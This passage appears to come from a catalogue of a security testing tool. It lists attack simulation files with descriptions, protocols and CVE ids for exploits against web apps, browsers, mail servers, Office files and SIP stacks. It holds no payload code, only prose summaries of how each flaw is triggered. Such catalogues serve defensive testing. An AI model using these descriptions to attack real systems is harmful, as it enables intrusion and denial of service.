Threat File Name:	hivemail_cmi_c_IPv6.xml

Executive Description:	HiveMail Vulnerabilities Remote Command Execution (IPv6 Version)
Detailed Description:	This threat sends a crafted URL containing PHP code which is executed by the server. HiveMail is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0757
Threat File Name:	FSC20070814-09_Microsoft_Windows_Graphics_Rendering_Engine_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine Code Execution (IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in the Microsoft Windows graphics rendering engine. The vulnerability is a result of improper range validation when certain GDI functions are called to process malformed image data. A remote attacker can exploit this flaw to inject and execute within the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3034
Threat Package:	Standard
Threat File Name:	magiciso_rheapoverflow_IPv6.xml
Executive Description:	Magic ISO Maker Cue File Stack Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses an emulated web server to deliver a specially crafted .CUE file what when opened with MagicISO versions 5.4 and earlier, that will result in the execution of code or denial of service. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2761
Threat Package:	Standard
Threat File Name:	TSL20130108-18_Mozilla_Firefox_XMLSerializer_Use_After_Free_IPv6.xml
Executive Description:	Mozilla Firefox XMLSerializer Use After Free(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Mozilla Firefox. The vulnerability is caused by a use-after-free error when processing script code making use of the XMLSerializer function. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3,IPv6
CVEID:	CVE-2013-0753
OSVDB:	89021
Threat File Name:	FSC20090918-09_Mozilla_Firefox_nsPropertyTable_PropertyList_Memory_Corruption.xml
Executive Description:	Mozilla Firefox nsPropertyTable PropertyList Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Mozilla Firefox web browser. The vulnerability is due to improper handling of PropertyLists in nsPropertyTable while parsing a specially crafted web page. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation could result in arbitrary code injection and execution with the privileges of the logged in user. In case of an unsuccessful attack, the web browser would terminate abnormally due to memory corruption.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-3070
Threat Package:	Standard
Threat File Name:	FSC20070921-18_CA_BrightStor_ARCServe_Backup_LGServer_Authentication_Password_Buffer_Overflow.xml
Executive Description:	CA BrightStor ARCServe Backup LGServer Authentication Password Buffer Overflow
Detailed Description:	There exist two buffer overflow vulnerabilities in the way CA BrightStor ARCServe Backup for Laptops and Desktops service handles incoming messages. Specifically the vulnerabilities are due to lack of boundary check when processing user authentication requests. By sending specially crafted authentication request, an unauthenticated remote attacker can leverage these flaws to execute arbitrary code on the target host with System privileges.
Protocol Type:	SSDP
CVEID:	CVE-2007-5004
Threat Package:	Standard
Threat File Name:	sipunterminatedquote_IPv6.xml
Executive Description:	SIPPING: Unterminated Quote in Display Name (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with a display name containing opening but no closing quotes. This is not legal but an implementation may try to compensate for it. Because it is unusual, this may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	browsedialog_msie7_dos.xml
Executive Description:	rowseDialog Class (ccrpbds6.dll) multiple methods Denial of Service Vulnerability
Detailed Description:	This threat use a maliciously crafted html page to trigger a denial of service condition due to the vulnerable ActiveX "BrowseDialog Class" Control in Internet Explorer. NOTE This threat is related to CVE-2007-0371, however the exploit has modified. This affects the BrowseDialog Class ActiveX Control using Internet Explorer Web Browser clients that typically connect to the http port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0371
Threat Package:	Standard
Threat File Name:	sipnolwsdisplayname_IPv6.xml
Executive Description:	SIPPING: No LWS in Display Name (IPv6 Version)
Detailed Description:	This threat sends out a SIP OPTIONS message with no space between the display name and the opening < in the From: header. While this is not valid per RFC 3261, this should be legal and future RFCs will be updated to allow it. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	mdaemon_heap.xml
Executive Description:	Alt-N MDaemon Remote Pre-Authentication POP3 Buffer Overflow Vulnerability

Detailed Description:	This threat leverages a vulnerability in the Alt-N MDAemon POP3 Server that fails to properly check user-supplied input before passing it into insufficiently sized memory buffers thereby causing a denial of service condition or even execution of code via a buffer/heap overflow. Alt-N MDAemon POP3 Server is a mail server that typically listens on port 110.
Protocol Type:	POP3
Threat Package:	Standard
Threat File Name:	FSC20080311-20_Microsoft_Excel_Conditional_Formatting_Values_Handling_Code_Execution.xml
Executive Description:	Microsoft Excel Conditional Formatting Values Handling Code Execution
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The vulnerability is due to improper parsing of the conditional formatting record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Excel will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-0117
Threat Package:	Standard
Threat File Name:	FSC20100329-07_Apple_Safari_HTML_Image_Element_Handling_Use_After_Free_Vulnerability_IPv6.xml
Executive Description:	Apple Safari HTML Image Element Handling Use After Free Vulnerability(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Apple Safari. The vulnerability is due to a user-after-free error when handling HTML image element. Remote attackers can exploit this vulnerability to execute arbitrary code on the target machine by enticing a user into opening a specially crafted HTML document. In attack scenarios where code execution is successful the behavior of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally.(IPv6 Version)
Protocol Type:	HTTP/HTTPS/IPv6
CVEID:	CVE-2010-0054
Threat Package:	Standard
Threat File Name:	dlink_httpd_crash.xml
Executive Description:	DWL-G700AP httpd malformed query crash
Detailed Description:	This threat sends a malformed incomplete HTTP query which crashes the device. the D-Link httpd typically runs on port 80.
Protocol Type:	HTTP
Threat File Name:	smtp_debug_IPv6.xml
Executive Description:	SMTP Probe DEBUG (IPv6 Version)
Detailed Description:	This threat sends the DEBUG statement to an SMTP server. This command is used to put the SMTP server into a troubleshooting mode. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-1999-0095
OSVDB:	195
Threat Package:	Standard
Threat File Name:	complete_php_counter_sqli.xml
Executive Description:	Complete PHP Counter SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL statement that is executed by the server. Complete PHP Counter is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-4674
OSVDB:	20085
Threat File Name:	IPv6randomFlow.xml
Executive Description:	IPv6 Random Priority and Flow Label
Detailed Description:	This threat sends out random priorities and flow labels in a packet with a length of 1 byte.
Protocol Type:	IPv6
Threat Package:	Standard
Threat File Name:	TSL20110513-03_Adobe_Audition_Session_File_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Audition Session File Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Adobe Audition. The vulnerability is due to a stack buffer overflow while parsing Audition Session (.ses) files. A remote attacker can exploit this vulnerability by enticing a user to download and process a specially crafted file with an affected version of the application. This can lead to code execution in the context of the affected application. If code execution is unsuccessful, it can lead to unexpected termination of the application.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0614
Threat File Name:	xitami_web_server_bof_IPv6.xml
Executive Description:	Xitami Web Server 2.5 (If-Modified-Since) 0day Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a specially crafted HTTP GET request from a client to leverage a flaw in Xitami Web Server resulting in the execution of arbitrary code. Xitami is a web server that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5067
Threat Package:	Standard
Threat File Name:	elm_expires.xml
Executive Description:	Elm Expires Header Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the Elm text mail reader. This allows a remote attacker to run arbitrary commands on the target computer in the context of the user viewing the email. This threat is delivered using SMTP, which typically listens on port 25.

Protocol Type:	SMTP
CVEID:	CVE-2005-2665
OSVDB:	18914
Threat Package:	Standard
Threat File Name:	foing_cmi_d_IPv6.xml
Executive Description:	Foing 0.7.0 (phpBB) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a path to an arbitrary file which is included by the server and executed via list.phps "phpbb_root_path" parameter. Foing is a web based application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20110208-25_Microsoft_Internet_Explorer_Deleted_Data_Source_Object_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Deleted Data Source Object Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error when accessing an XML Data Source Object that has not been deleted properly. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-0035
Threat File Name:	telnetHeap_IPv6.xml
Executive Description:	Telnet Heap Overflow Attack (IPv6 Version)
Detailed Description:	This attack is a crash which can be potentially used to cause remote code execution on a host connecting with telnet. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	Telnet/IPv6
CVEID:	CVE-2005-0468
OSVDB:	15093
Threat Package:	Standard
Threat File Name:	FSC20100615-12_Apple_Safari_Webkit_Option_Element_ContentEditable_Code_Execution.xml
Executive Description:	Apple Safari Webkit Option Element ContentEditable Code Execution
Detailed Description:	A vulnerability has been reported in Apple Safari's Webkit that could allow remote attackers to execute arbitrary code on a vulnerable system. The vulnerability is due to the way the vulnerable application removes a particular container element containing another element holding the contentEditable attribute. Remote attackers could exploit this vulnerability by enticing the target user to open a maliciously crafted web page.
	Successful exploitation could result in execution of arbitrary code within the security context of the current user. An unsuccessful attempt will terminate the affected application abnormally.
Protocol Type:	HTTP
CVEID:	CVE-2010-1396
Threat File Name:	TSL20170209-09_Trend_Micro_Control_Manager_XML_External_Entity_Processing.xml
Executive Description:	Trend Micro Control Manager XML External Entity Processing
Detailed Description:	An XML external entity processing vulnerability has been reported in Trend Micro Control Manager. The vulnerability is due to lack of validation of user-supplied input prior to executing an XML query. A remote, authenticated attacker could exploit this vulnerability by sending a malicious HTTP request to the target system. Successful exploitation could allow the attacker to read arbitrary files from the target system.
Protocol Type:	HTTPS
Threat File Name:	TSL20140723-10_Mozilla_Firefox_SharedWorker_MessagePort_Use_After_Free.xml
Executive Description:	Mozilla Firefox SharedWorker MessagePort Use After Free
Detailed Description:	A use after free vulnerability exists in Mozilla Firefox. The vulnerability is due to a memory corruption issue when handling SharedWorker objects. A remote unauthenticated attacker could exploit this vulnerability by enticing a user to visit a malicious page. Successful exploitation could lead to remote code execution under the security context of the browser process.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-1548
OSVDB:	109417
Threat File Name:	fuzz-ARP_op_IPv6.xml
Executive Description:	Fuzzer for Protocol:ARP and Field:op (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	ARP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20100413-01_Adobe_Reader_U3D_CLODMeshDeclaration_Shading_Count_Buffer_Overflow.xml
Executive Description:	Adobe Reader U3D CLODMeshDeclaration Shading Count Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Adobe Acrobat Reader. The vulnerability is due to an integer overflow when processing the "Shading Count" field in the CLOD Mesh Declaration block. This vulnerability may be exploited by remote attackers to execute arbitrary code on the vulnerable system by enticing a user to open a maliciously crafted PDF document. In attack scenarios where code execution is successful, the injected code will run within the security context of the currently logged in user. If code execution fails, the affected application may terminate abnormally leading to a denial of service condition.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0196
Threat Package:	Standard
Threat File Name:	ms04-038css_IPv6.xml
Executive Description:	MS04-038 Malformed CSS File Attack (IPv6 Version)
Detailed Description:	This threat attempts to perform a buffer overflow on Internet Explorer through a malformed CSS file. This threat can cause code execution if it is targeted at the correct platform and version of Internet Explorer. This threat is a client attack that comes from the virtual server. (IPv6 Version)

Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0842
OSVDB:	10710
Threat Package:	Standard
Threat File Name:	sippercentnotesc_IPv6.xml
Executive Description:	SIPPING: % Not Used as Escape (IPv6 Version)
Detailed Description:	This threat sends out a SIP message with the percent character (%) used but not as an escape. Since this is not common (but is legal), SIP implementations may try to parse it as a character escape and encounter unexpected behavior. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20070921-20_CA_BrightStor_ARCServe_Backup_LGServer_Arbitrary_File_Upload.xml
Executive Description:	CA BrightStor ARCServe Backup LGServer Arbitrary File Upload
Detailed Description:	An arbitrary file upload vulnerability exists in CA BrightStor ARCServe Backup for Laptops and Desktops. The vulnerability is due to insufficient access control in the LGServer process while handling file uploads from remote users. A remote unauthenticated attacker could exploit this vulnerability to upload file to specified location on the target file system. Moreover, the attacker can facilitate other functionality of the affected server to load and execute the uploaded file with System privileges. In a successful attack case, the attacker could write arbitrary file to an arbitrary directory using SYSTEM-level privileges. This vulnerability can be used to overwrite critical files, such as ARCServe LGServer's "security.dll" with malicious content. Overwritten DLL can then be immediately loaded into memory by calling another rxrLogin request, which would now inject the potentially-malicious "security.dll" into the ARCServe LGServer process.
Protocol Type:	CA BrightStor ARCServe Backup LGServer Proprietary Protocol
CVEID:	CVE-2007-5005
Threat Package:	Standard
Threat File Name:	TSL20170426-03_IBM_Domino_IMAP_Mailbox_Name_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Domino IMAP Mailbox Name Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exist in IBM Domino IMAP Server. The vulnerability is due to incorrect processing of encoded mailbox name arguments in IMAP commands. A remote, authenticated attacker can exploit this vulnerability to cause a buffer overflow. Successful exploitation will result in the execution of arbitrary code with SYSTEM privileges. An unsuccessful attack could result in a denial of service condition of the affected service.
Protocol Type:	IMAP,IMAPS,IPv6
CVEID:	CVE-2017-1274
Threat File Name:	mdaemon_heap_IPv6.xml
Executive Description:	Alt-N MDAemon Remote Pre-Authentication POP3 Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a vulnerability in the Alt-N MDAemon POP3 Server that fails to properly check user-supplied input before passing it into insufficiently sized memory buffers thereby causing a denial of service condition or even execution of code via a buffer/heap overflow. Alt-N MDAemon POP3 Server is a mail server that typically listens on port 110. (IPv6 Version)
Protocol Type:	POP3/IPv6
Threat Package:	Standard
Threat File Name:	FSC20040722-01_Adobe_Acrobat_File_Extension_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Acrobat Reader File Extension Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	A vulnerability exists in Adobe Acrobat's handling of a document's file name extension. When Acrobat opens a file with an overly long file name extension, a buffer overflow occurs. An attacker could use this vulnerability to remotely execute code on a system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0632
Threat Package:	Standard
Threat File Name:	top_auction_sql_i_IPv6.xml
Executive Description:	Top Auction 1.0 (viewcat.php) Remote Blind SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Top Auction is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3952
OSVDB:	21106
Threat Package:	Standard
Threat File Name:	FSC20070221-18_Apple_Mac_OS_X_ImageIO_gifGetBandProc_GIF_Image_Handling_Integer_Overflow_IPv6.xml
Executive Description:	Apple Mac OS X ImageIO gifGetBandProc GIF Image Handling Integer Overflow (IPv6 Version)
Detailed Description:	There exists an integer overflow vulnerability in Apple Mac OS X ImageIO. The vulnerability is due to a boundary error in the "gifGetBandProc" function in ImageIO when decompressing a specially crafted GIF image file. Successful exploitation of this issue causes a denial of service condition and allows remote attackers to execute arbitrary code in the context of the application. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1071
Threat Package:	Standard
Threat File Name:	TSL20170302-10_Trend_Micro_SafeSync_for_Enterprise_deviceTool.pm_devid_Command_Injection.xml
Executive Description:	Trend Micro SafeSync for Enterprise deviceTool.pm devid Command Injection
Detailed Description:	A command injection vulnerability exists in Trend Micro's SafeSync for Enterprise. The vulnerability is due to insufficient validation of user-supplied HTTP parameters. A remote, authenticated attacker could exploit this vulnerability by sending a crafted input to the vulnerable system. Successful exploitation could lead to arbitrary command execution under the security context of the root user.
Protocol Type:	HTTPS
Threat File Name:	FSC20071228-04_Adobe_Flash_Player_JPG_Embedded_SWF_Processing_Heap_Overflow_IPv6.xml

Executive Description:	Adobe Flash Player JPG Embedded SWF Processing Heap Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the way Adobe Flash Player processes SWF files embedding JPG images. The vulnerability is due to lack of input validation while parsing height and width fields in the JPG header. A remote attacker can exploit this vulnerability by enticing the target user to open malicious SWF files, potentially causing arbitrary code to be injected and executed in the security context of the logged-in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6242
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_PrepndIndexWithI_IPv6.xml
Executive Description:	Fuzz HTTP Request-URI with index.htm (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI field by replicating the letter i in index.html between 0 and 1024 times. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	phpcommunitycalendar_sqli_a.xml
Executive Description:	phpCommunityCalendar 4.0.3 SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted HTTP query containing an SQL query which is executed by the server via event.php's ID parameter. phpCommunityCalendar is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2798
Threat Package:	Standard
Threat File Name:	FSC20070904-19_Microsoft_Visual_Basic_6_0_VBP_Project_File_Handling_Buffer_Overflow.xml
Executive Description:	Microsoft Visual Basic 6.0 VBP Project File Handling Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Visual Basic product. The flaw is due to improper boundary protection when processing .VBP files. . A attacker can leverage this vulnerability by enticing the target user to open a crafted .VBP file, potentially causing arbitrary code to be injected and executed in the security context of the current logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-4776
Threat Package:	Standard
Threat File Name:	FSC20041021-01_Microsoft_Windows_Graphics_Rendering_Engine_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine Buffer Overflow
Detailed Description:	A vulnerability exists in the Microsoft Windows Graphics Rendering Engine. The vulnerability exists in the routines that handle the parsing of the Windows Metafile (WMF) and Enhanced Metafile (EMF) image formats. An attacker leveraging this vulnerability could execute arbitrary code on the target system with privileges of currently logged in user. Testing has shown that the vendor released patches do not fully correct this vulnerability. Please refer to section 12.1 "Open Questions to Resolve" for more information.
Protocol Type:	HTTP
CVEID:	CVE-2004-0209
Threat Package:	Standard
Threat File Name:	TSL20140909-17_HP_Network_Node_Manager_I_ovopi_dll_L_Buffer_Overflow.xml
Executive Description:	HP Network Node Manager I ovopi.dll -L Buffer Overflow
Detailed Description:	Two buffer overflow vulnerabilities exist in HP Network Node Manager I (NNMi). These vulnerabilities are caused by copying user supplied data into fixed-size buffers without sufficient validation in ovopi.dll By sending a crafted request to the vulnerable product on port 696/UDP, a remote unauthenticated attacker could exploit these vulnerabilities to execute arbitrary code with System privileges. Tester should set variable \$destPort to 696 before test.
Protocol Type:	HP NNMi pmd Protocol
CVEID:	CVE-2014-2624
OSVDB:	112516
Threat File Name:	irfanview_bof.xml
Executive Description:	IrfanView <= 4.00 .IFF File Buffer Overflow
Detailed Description:	This threat downloads a malicious .iff file which triggers a buffer overflow in the IrfanView application, this threat is delivered via http port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	NTFragEva2_IPv6.xml
Executive Description:	Fragment Reassembly: Windows NT Fragment Evasion (IPv6 Version)
Detailed Description:	This threat sends a fragmented ICMP packet which does not have an IP fragment offset of zero. Can be used for evading firewalls. A vulnerable system will reply back with an ICMP reply message. (IPv6 Version)
Protocol Type:	ICMP/IPv6
CVEID:	CVE-1999-1463
OSVDB:	10616
Threat Package:	Standard
Threat File Name:	TSL20110513-02_Adobe_Audition_Session_File_TRKM_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Audition Session File TRKM Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A code execution vulnerability has been identified in Adobe Audition. The vulnerability is due to insufficient validation of Audition Session (.ses) files. By enticing a user to download and process a specially crafted file with an affected version of the application, a remote attacker can exploit this vulnerability to execute arbitrary code under the context of the current user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0615
Threat File Name:	postfix_dos_IPv6.xml
Executive Description:	Postfix Envelope Denial Of Service (IPv6 Version)
Detailed Description:	This threat sends a malformed envelope address which causes the Postfix SMTP daemon to crash. Postfix is a SMTP server, and typically listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2003-0468

OSVDB:	6551
Threat Package:	Standard
Threat File Name:	TSL20170615-01_ISC_BIND_RPZ_Query_Processing_Denial_of_Service.xml
Executive Description:	ISC BIND RPZ Query Processing Denial of Service
Detailed Description:	A denial-of-service vulnerability has been reported in ISC BIND. The vulnerability is due to a defect that can cause the named service to enter an infinite loop while processing a query and running a specific configuration. A remote, unauthenticated attacker could exploit this vulnerability by repeatedly sending a query to an affected server running the affected configuration. Successful exploitation could lead to a denial-of-service condition.
Protocol Type:	DNS
CVEID:	CVE-2017-3140
Threat File Name:	FSC20081107-19_Jive_Software_Openfire_Jabber_Server_Authentication_Bypass.xml
Executive Description:	Jive Software Openfire Jabber Server Authentication Bypass
Detailed Description:	An authentication bypass vulnerability exists in Openfire Server product by Jive Software. The vulnerability is due to an insecure design in the Tomcat filter where all functions in the admin web-interface are not protected from unauthorized access. Remote attackers could exploit this vulnerability to access functions in the admin web-interface without supplying valid credentials. A successful attack attempt will bypass the server authentication and the attacker can have full access to all functions in the admin webinterface without providing any user credentials. Thus the attacker can gain full control of the Openfire Jabber server and cause disclosure of sensitive information.
Protocol Type:	Jabber Admin Console over HTTP
Threat Package:	Standard
Threat File Name:	TSL20130611-15_Microsoft_Internet_Explorer_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer Use After Free
Detailed Description:	A use-after-free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2013-3121
OSVDB:	94115
Threat File Name:	aspChunked.xml
Executive Description:	MS02-018 IIS Chunked Encoding Attack
Detailed Description:	This threat attacks a flaw in the Chunked Encoding of Microsoft Internet Information Service. It has the ability to overwrite a pointer to an address and cause remote code to be executed.
Protocol Type:	HTTP
CVEID:	CVE-2002-0079
OSVDB:	768
Threat Package:	Standard
Threat File Name:	FSC20080812-19_Microsoft_Internet_Explorer_Objects_Handling_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Objects Handling Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Internet Explorer. A crafted webpage can cause Internet Explorer to access uninitialized memory leading to a crash or execution of arbitrary code within the context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-2254
Threat Package:	Standard
Threat File Name:	FSC20091013-03_Microsoft_Windows_SMBv2_Infinite_Loop_Denial_of_Service.xml
Executive Description:	Microsoft Windows SMBv2 Infinite Loop Denial of Service
Detailed Description:	A denial of service vulnerability exists in Microsoft Windows SMBv2 component. The vulnerability is due to an integer overflow error when handling specially crafted SMB packets. Remote attackers could exploit this vulnerability by sending a specially crafted network message to a computer running the Server service. Successful exploitation would result in an infinite loop and CPU exhaustion on the host, that leads to a system wide Denial of Service condition.
Protocol Type:	SMBv2
CVEID:	CVE-2009-2526
Threat Package:	Standard
Threat File Name:	TSL20140114-13_Oracle_Outside_In_OS_2_Metatype_Parser_Stack_Buffer_Overflow.xml
Executive Description:	Oracle Outside In OS 2 Metatype Parser Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability is due to an error while processing OS/2 Metafiles. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable libraries to handle a malformed file. Depending on the application, user interaction may be required. Successful exploitation can result in execution of arbitrary code or a denial of service condition in the context of the affected application.
Protocol Type:	HTTP, HTTPS, IMAP, POP3, SMB/CIFS, SMTP
CVEID:	CVE-2013-5879
OSVDB:	102030
Threat File Name:	cattadoc_remote_file_disclosure_IPv6.xml
Executive Description:	cattaDoc 2.21(download2.php fnl)Remote File Disclosure Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a specially crafted HTTP GET request to return any file on the affected web server resulting in information disclosure and theft of credentials. CattaDoc is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1930
Threat Package:	Standard
Threat File Name:	hp_jetdir_ftpserver_dos.xml
Executive Description:	HP Jetdirect FTP Print Server RERT Command Denial Of Service Vulnerability

Detailed Description:	This threat will crash an HP Jetdirect FTP Print Server with a very long RERT Command. HP Jetdirect FTP Print Server typically listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-2007-0358
Threat Package:	Standard
Threat File Name:	TSL20090512-09_MicrosoftPowerPoint_LegacyFormat_SchemesRecord_BufferOverflow_IPv6.xml
Executive Description:	Microsoft Office PowerPoint Legacy Format Schemes Record Buffer Overflow (IPv6, Version)
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office PowerPoint. The flaw is due to a boundary error when processing crafted legacy PowerPoint (PPT) documents. An attacker could exploit this vulnerability by persuading the target user to open a specially crafted legacy PowerPoint document. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally, potentially resulting in loss of unsaved data.
Protocol Type:	IPv6,FTP,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2009-0226
Threat File Name:	prozilla_sql_i_IPv6.xml
Executive Description:	Prozilla Directory Script SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a HTTP request for a URL that contains an SQL query which will be executed on the affected server. Prozilla Directory Script is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	brim_rfi_IPv6.xml
Executive Description:	Brim 1.2.0pre3 renderer Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Brim is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170503-04_Splunk_Enterprise_alerts_alerts_id_Server-Side_Request_Forgery.xml
Executive Description:	Splunk Enterprise alerts alerts_id Server-Side Request Forgery
Detailed Description:	A sever-side request forgery vulnerability has been reported in the alerts web interface of Splunk Enterprise. The vulnerability is due to a lack of validation on the alerts_id parameter in HTTP requests sent to the alerts page. A remote, unauthenticated attacker can exploit this vulnerability by enticing an authenticated user to open a specially crafted page or link. Successful exploitation allows an attacker to obtain the user's API token.
Protocol Type:	HTTP
Threat File Name:	TSL20150715-08_Microsoft_Internet_Explorer_CVE_2015_2401_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-2401 Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-2401
Threat File Name:	enjoysap_kwedit_activex_bof_IPv6.xml
Executive Description:	EnjoySAP ActiveX kweditcontrol.kwedit.1 Remote Stack Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the SAP EnjoySAP kweditcontrol ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3605
Threat Package:	Standard
Threat File Name:	http_doubleslash.xml
Executive Description:	HTTP Double Slash
Detailed Description:	This threat attempts to crash a web server by sending out a malicious GET request for a URL consisting of only two slashes.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	metacart2_sqlinject_IPv6.xml
Executive Description:	MetaCart2 SQL Injection (IPv6 Version)
